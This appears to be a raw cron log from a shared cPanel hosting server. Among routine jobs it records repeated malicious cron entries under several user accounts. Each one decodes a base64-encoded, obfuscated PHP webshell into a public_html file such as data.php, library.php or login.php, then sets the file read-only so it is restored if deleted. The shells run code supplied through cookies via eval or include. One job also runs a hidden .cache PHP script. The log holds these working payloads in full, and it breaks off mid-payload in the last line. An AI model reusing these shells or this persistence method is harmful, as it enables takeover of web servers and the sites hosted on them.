Mar  2 15:42:01 medusa CROND[17751]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:42:01 medusa CROND[17753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:42:01 medusa CROND[17761]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:42:01 medusa CROND[17762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:42:01 medusa CROND[17763]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:42:01 medusa CROND[17764]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:42:01 medusa CROND[17767]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:42:01 medusa CROND[17769]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:42:01 medusa CROND[17773]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:42:01 medusa CROND[17772]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:43:01 medusa CROND[4187]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:43:01 medusa CROND[4188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:43:01 medusa CROND[4190]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 15:43:01 medusa CROND[4192]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:43:01 medusa CROND[4193]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:43:01 medusa CROND[4195]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:43:01 medusa CROND[4196]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 15:43:01 medusa CROND[4199]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:43:01 medusa CROND[4204]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:43:01 medusa CROND[4205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:43:01 medusa CROND[4207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:43:01 medusa CROND[4209]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:43:01 medusa CROND[4212]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:43:01 medusa CROND[4221]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:44:01 medusa CROND[25258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:44:02 medusa CROND[25509]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:44:02 medusa CROND[25519]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:44:02 medusa CROND[25521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:44:02 medusa CROND[25522]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:44:02 medusa CROND[25523]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94ai